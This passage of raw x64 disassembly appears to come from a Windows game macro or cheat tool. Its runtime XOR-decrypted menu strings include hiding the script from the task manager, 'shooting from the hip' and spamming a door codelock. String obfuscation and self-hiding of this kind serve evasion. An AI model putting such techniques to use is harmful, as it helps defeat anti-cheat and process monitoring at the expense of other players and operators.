shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14005aad0
cmp r8d, 0x11
jge 0x14005ac04
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14005abd0
lea rdx, [0x14008aece]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005ac2c
cmp byte [0x14008ae2b], 1
jne 0x14005ac2c
mov byte [0x14008ae2b], 0
cmp byte [0x14008aece], 1
jne 0x14005acba
movss xmm1, dword [0x14007f84c]
lea rcx, [rbp + 0x280]
movaps xmm2, xmm14
mov byte [0x14008aece], 1
call fcn.140002a20
lea rdx, [rbp + 0x480]
mov byte [rsp + 0x6e], 0
lea rcx, [rsp + 0x6e]
mov rbx, rax
call fcn.14006f280
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005aca6
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov r8, rbx
lea rdx, [0x14008c588]
mov rcx, rax
call fcn.14003a280
xor ebx, ebx
cmp byte [0x14008a0c9], 1
jne 0x14005acda
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005acda
lea rcx, str.Hide_Show_Script_in_task_manager
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005af26
lea rdx, [rbp + 0x1f28]
mov byte [rsp + 0x6f], 0
lea rcx, [rsp + 0x6f]
call fcn.14006f2b0
mov r10, rax
cmp byte [rax + 0x2e], 0
je 0x14005ae64
mov r8d, ebx
cmp edi, 2
jl 0x14005ae25
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005ad30
cmp r8d, 0x2f
jge 0x14005ae64
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x14005ae30
lea rdx, [0x14008aece]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008aece], 1
jne 0x14005aefb
movss xmm1, dword [0x14007f84c]
lea rcx, [rbp + 0x288]
movaps xmm2, xmm14
mov byte [0x14008aece], 1
call fcn.140002a20
lea rdx, [rbp + 0x490]
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.14006f300
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005aee9
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov r8, rbx
lea rdx, [0x14008c588]
mov rcx, rax
call fcn.14003a280
cmp byte [0x14008a0c9], 1
jne 0x14005af35
cmp byte [0x14008ae2b], 1
jne 0x14005af35
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005af35
lea rcx, [0x14007d660]
call fcn.140013150
jmp 0x14005af35
cmp byte [0x14008aece], 0
jne 0x14005af35
mov dword [0x14008c588], ebx
cmp byte [0x14008a0c8], 0
je 0x14005b0cc
lea rdx, [rbp + 0x570]
mov byte [rsp + 0x71], 0
lea rcx, [rsp + 0x71]
call fcn.14006f330
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x14005b084
xor r8d, r8d
cmp edi, 2
jl 0x14005b04a
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005b050
lea rdx, [0x14008aec9]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005b0ac
cmp byte [0x14008ae2b], 1
jne 0x14005b0ac
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14005b0cc
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005b0cc
lea rcx, str.Sound_alerts
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005b283
lea rdx, [rbp + 0x1c68]
mov byte [rsp + 0x72], 0
lea rcx, [rsp + 0x72]
call fcn.14006f350
mov r10, rax
cmp byte [rax + 0x25], 0
je 0x14005b254
xor r8d, r8d
cmp edi, 2
jl 0x14005b215
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005b120
cmp r8d, 0x26
jge 0x14005b254
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x26
jl 0x14005b220
lea rdx, [0x14008aec9]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008a0c9], 1
jne 0x14005b283
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005b283
lea rcx, [0x14007d6d0]
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x14005b419
lea rdx, [rbp + 0x290]
mov byte [rsp + 0x73], 0
lea rcx, [rsp + 0x73]
call fcn.14006f380
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14005b3d4
cmp edi, 2
jl 0x14005b38d
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rcx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
jmp 0x14005b3d4
mov r9, rcx
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14005b3a0
lea rdx, [0x14008ae2a]
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005b3f9
cmp byte [0x14008ae2b], 1
jne 0x14005b3f9
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14005b419
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005b419
lea rcx, str.Shooting_from_the_hip
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005b5dc
lea rdx, [rbp + 0x1768]
mov byte [rsp + 0x74], 0
lea rcx, [rsp + 0x74]
call fcn.14006f390
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14005b5a4
xor r8d, r8d
cmp edi, 2
jl 0x14005b565
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005b470
cmp r8d, 0x21
jge 0x14005b5a4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x14005b570
lea rdx, [0x14008ae2a]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008a0c9], 1
jne 0x14005b5dc
cmp byte [0x14008ae2b], 1
jne 0x14005b5dc
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005b5dc
lea rcx, str._____
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x14005b6f9
lea rdx, [rbp + 0x440]
mov byte [rsp + 0x75], 0
lea rcx, [rsp + 0x75]
call fcn.14006f3c0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14005b630
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x14008b0e8]
mov rcx, rax
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005b658
cmp byte [0x14008ae2b], 1
jne 0x14005b658
mov byte [0x14008ae2b], 0
cmp byte [0x14008b0e8], 1
jne 0x14005b6d9
movss xmm1, dword [0x14007f84c]
lea rcx, [rbp + 0x298]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x500]
mov byte [rsp + 0x76], 0
lea rcx, [rsp + 0x76]
mov rbx, rax
call fcn.14006f3e0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005b6c7
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov r8, rbx
lea rdx, [0x14008c2f8]
mov rcx, rax
call fcn.14003a280
cmp byte [0x14008a0c9], 1
jne 0x14005b6f9
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005b6f9
lea rcx, str.Reset_all_binds
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005ba6f
lea rdx, [rbp + 0x1790]
mov byte [rsp + 0x77], 0
lea rcx, [rsp + 0x77]
call fcn.14006f410
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14005b884
xor r8d, r8d
cmp edi, 2
jl 0x14005b845
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005b750
cmp r8d, 0x21
jge 0x14005b884
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x14005b850
lea rdx, [0x14008b0e8]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008b0e8], 1
jne 0x14005ba46
movss xmm1, dword [0x14007f84c]
lea rcx, [rbp + 0x2a0]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x11f8]
mov byte [rsp + 0x78], 0
lea rcx, [rsp + 0x78]
mov rbx, rax
call fcn.14006f440
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x14005ba34
cmp edi, 2
jl 0x14005b9ef
movdqa xmmword [rbp + 0x810], xmm11
xor edx, edx
mov r8d, dword [rbp + 0x810]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x14005b900
jmp 0x14005ba34
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x14005ba00
mov r8, rbx
lea rdx, [0x14008c2f8]
mov rcx, r10
call fcn.14003a280
cmp byte [0x14008a0c9], 1
jne 0x14005ba6f
cmp byte [0x14008ae2b], 1
jne 0x14005ba6f
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005ba6f
lea rcx, [0x14007d810]
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x14005bb93
lea rdx, [rbp + 0x450]
mov byte [rsp + 0x79], 0
lea rcx, [rsp + 0x79]
call fcn.14006f460
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14005bac3
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x14008ae2e]
mov rcx, rax
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005baeb
cmp byte [0x14008ae2b], 1
jne 0x14005baeb
mov byte [0x14008ae2b], 0
cmp byte [0x14008ae2e], 1
jne 0x14005bb73
movss xmm1, dword [0x14007f84c]
lea rcx, [rbp + 0x2a8]
movaps xmm2, xmm14
mov byte [0x14008ae2e], 1
call fcn.140002a20
lea rdx, [rbp + 0x4a0]
mov byte [rsp + 0x7a], 0
lea rcx, [rsp + 0x7a]
mov rbx, rax
call fcn.14006f480
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005bb61
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov r8, rbx
lea rdx, [0x14008aeac]
mov rcx, rax
call fcn.14003a280
cmp byte [0x14008a0c9], 1
jne 0x14005bb93
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005bb93
lea rcx, str.Spam_on_the_door__codelock_
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005bf0f
lea rdx, [rbp + 0x1138]
mov byte [rsp + 0x7b], 0
lea rcx, [rsp + 0x7b]
call fcn.14006f4b0
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x14005bd14
xor r8d, r8d
cmp edi, 2
jl 0x14005bcd6
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14005bbe1
cmp r8d, 0x12
jge 0x14005bd14
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005bce0
lea rdx, [0x14008ae2e]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008ae2e], 1
jne 0x14005bee6
movss xmm1, dword [0x14007f84c]
lea rcx, [rbp + 0x2b0]
movaps xmm2, xmm14
mov byte [0x14008ae2e], 1
call fcn.140002a20
lea rdx, [rbp + 0x11b0]
mov byte [rsp + 0x7c], 0
lea rcx, [rsp + 0x7c]
mov rbx, rax
call fcn.14006f4d0
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x14005bed4
xor r8d, r8d
cmp edi, 2
jl 0x14005be95
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14005bda0
cmp r8d, 0x14
jge 0x14005bed4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
